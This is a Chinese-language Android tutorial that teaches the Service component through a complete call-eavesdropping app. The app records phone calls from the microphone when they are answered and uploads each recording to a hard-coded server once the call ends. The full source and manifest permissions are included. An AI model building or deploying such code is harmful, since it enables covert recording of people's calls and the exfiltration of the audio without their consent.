[android] 10_Service-电话监听器

Android 4.0

Service 

Service——四大组件之一 
1、后台服务.  长期在后台运行, 都没用户界面的一个组件.
2、可以看做是没有用户界面的Activity,不够准确,activity有任务栈,二service没有任务栈
3、适合于守护性的操作,以及长期的数据刷新,同步操作

一、一个类继承Service,成为一个Service  
    public class PhoneService extends Service{} 
二、在manifest.xml中进行配置  
    <service android:name="cn.zengfansheng.interceptcall.PhoneService" ></service>
三、开始服务和停止服务
    startService(intent);
    stopService(intent);
四、Service主要方法
    onCreate() 服务被创建的时候调用的方法
    onDestroy()  服务被销毁的时候调用的方法
电话监听器 
通话录音,电话录音,电话监听
技术点:
1、开启监听电话状态
private TelephonyManager tm;
private MyPhoneListener listener;  
tm = (TelephonyManager) this.getSystemService(Context.TELEPHONY_SERVICE);
listener = new MyPhoneListener();
//注册一个监听器 ,监听器 电话呼叫状态的变化.
tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);// PhoneStateListener  
2、录音 
// 1.创建一个mediaRecoder的实例.
mediaRecorder = new MediaRecorder();
// 2.指定从哪里获取数据 从话筒 mic里面获取数据
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
// 3.设置输出文件格式
mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
// 4.设置输出文件的名称
mediaRecorder.setOutputFile(Environment.getExternalStorageDirectory()+"/info.3gp");
// 5.设置音频编码方式.
mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
// 6.准备录音机
mediaRecorder.prepare();
// 7、开始录音  
mediaRecorder.start();
// 8、停止录音
 mediaRecorder.stop();
// 9、释放资源
mediaRecorder.release();
mediaRecorder = null;
3、使用AsyncHttp进行文件上传 
AsyncHttpClient asyncHttpClient = new AsyncHttpClient();
String url = "http://192.168.221.221:8080/FileUpload/FileUploadServlet";
RequestParams params = new RequestParams();
File myfile = new File(file);
params.put("file", myfile);
asyncHttpClient.post(url, params, new AsyncHttpResponseHandler() {
    @Override
    public void onSuccess(String content) {
        System.out.println("录音上传成功。。。");
    }
    @Override
    public void onFailure(Throwable error, String content) {
        System.out.println("录音上传失败。。。");
    }
});
四、权限 
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.INTERNET"/>
完整代码:

MainActivity.java
package cn.zengfansheng.interceptcall;
 
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Toast;
 
public class MainActivity extends Activity {
 
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
    }
 
    /**
     * 点击开启一个电话窃听的服务
     *
     * @param view
     */

    public void registerService(View view) {
 
        // TODO 三、开始服务和停止服务
        Intent intent = new Intent(this, PhoneService.class);
        startService(intent);// 开启服务
        Toast.makeText(this, "注册监听服务成功。。。", 0).show();
        // stopService(intent);//停止服务
    }
}

PhoneService.java
package cn.zengfansheng.interceptcall;
 
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;
 
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
 
import com.loopj.android.http.AsyncHttpClient;
import com.loopj.android.http.AsyncHttpResponseHandler;
import com.loopj.android.http.RequestParams;
 
/**
* TODO 一、一个类继承Service,成为一个Service
* @author hacket
*/

// 方便理解: service理解成一个没有界面的 长期在后台运行的activity.
public class PhoneService extends Service {
 
    private TelephonyManager tm;
    private MyPhoneListener listener;
 
    // TODO 四、服务被创建的时候调用的方法
    @Override
    public void onCreate() {
        System.out.println("Service is onCreate()...");
        super.onCreate();
        // manager.getLine1Number(); 获取电话号码,只支持电信,移动和联通都为null
        // 1、监听电话呼叫的状态.
        tm = (TelephonyManager) this.getSystemService(Context.TELEPHONY_SERVICE);
        listener = new MyPhoneListener();
        // 2、注册一个监听器 ,监听器 电话呼叫状态的变化.
        tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);// PhoneStateListener
    }
 
    // TODO 五、//服务被销毁的时候调用的方法
    @Override
    public void onDestroy() {
        super.onDestroy();
        // 服务停止了
        // 3、取消电话状态的监听
        tm.listen(listener, PhoneStateListener.LISTEN_NONE);//To unregister a listener, pass the listener object and set the events argument to LISTEN_NONE (0).
        listener = null;
    }
 
    @Override
    public IBinder onBind(Intent intent) {
 
        return null;
    }
    /**
     * TODO MyPhoneListener:监听电话状态Listener
     *
     */

    private class MyPhoneListener extends PhoneStateListener {
 
        private MediaRecorder mediaRecorder;// 录音机
        @Override
        public void onCallStateChanged(int state, String incomingNumber) {
            super.onCallStateChanged(state, incomingNumber);
 
            try {
                switch (state) {
                case TelephonyManager.CALL_STATE_IDLE: // 1、 电话空闲
                    System.out.println("电话空闲了,如果有录音,那么上传录音到服务器。。。");
                    if (mediaRecorder != null) {
                        // 8、停止录音
                        mediaRecorder.stop();
                        // 9、释放资源
                        mediaRecorder.release();
                        mediaRecorder = null;
                        // 上传文件到服务器
                        uploadAudioToServer(Environment.getExternalStorageDirectory()+"/info.3gp");
                    }
                    break;
 
                case TelephonyManager.CALL_STATE_RINGING: // 2、电话响铃
                    System.out.println("电话响铃了,准备好录音机。。。来电号码:"+incomingNumber);
                    String storageState = Environment.getExternalStorageState();
                    System.out.println("sdcard状态:" + storageState);
                    if (Environment.MEDIA_MOUNTED.equals(storageState)) { // SDCard已经挂载
                        // 装备录音机
                        prepareMediaRecorder();
                    }
                    break;
 
                case TelephonyManager.CALL_STATE_OFFHOOK: // 3、电话接听
                    System.out.println("电话接听了,开始录音。。。");
                    // 7、开始录音
                    if (mediaRecorder != null) {
                        System.out.println("开始录音了。。。");
                        mediaRecorder.start();
                    }
                    break;
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
 
        /**
         * 准备好录音机
         * @throws IOException
         */

        private void prepareMediaRecorder() throws IOException {
            // TODO 开始准备录音机进行录音
            System.out.println("开始准备录音机进行录音。。。");
            // TODO 准备录音机
            // 1.创建一个mediaRecoder的实例.
            mediaRecorder = new MediaRecorder();
            // 2.指定从哪里获取数据 从话筒 mic里面获取数据
            mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
            // 3.设置输出文件格式
            mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
            // 4.设置输出文件的名称
            mediaRecorder.setOutputFile(Environment.getExternalStorageDirectory()+"/info.3gp");
            // 5.设置音频编码方式.
            mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
            // 6.准备录音机
            mediaRecorder.prepare();
        }
 
        /**
         * 上传文件到服务器
         *
         * @param file 要上传文件的路径url
         * @throws FileNotFoundException
         */

        private void uploadAudioToServer(String file)
                throws FileNotFoundException {
            // TODO 录音文件开始上传
            System.out.println("录音文件开始上传。。。");
            // TODO文件上传到服务器
            AsyncHttpClient asyncHttpClient = new AsyncHttpClient();
            String url = "http://192.168.221.221:8080/FileUpload/FileUploadServlet";
            RequestParams params = new RequestParams();
            File myfile = new File(file);
            params.put("file", myfile);
            asyncHttpClient.post(url, params, new AsyncHttpResponseHandler() {
 
                @Override
                public void onSuccess(String content) {
                    System.out.println("录音上传成功。。。");
                }
 
                @Override
                public void onFailure(Throwable error, String content) {
                    System.out.println("录音上传失败。。。");
                }
            });
        }
 
        /*
         * public void onSignalStrengthsChanged(SignalStrength signalStrength) {//监听信号的强弱变化
         * }
         */

    }
}

AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="cn.zengfansheng.interceptcall"
    android:versionCode="1"
    android:versionName="1.0" >
    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="18" />
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.INTERNET"/>
    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name="cn.zengfansheng.interceptcall.MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <!--TODO 二、在manifest.xml中进行配置 -->
        <service android:name="cn.zengfansheng.interceptcall.PhoneService" >
        </service>
    </application>
</manifest>

录制音频:http://developer.android.com/guide/topics/media/audio-capture.html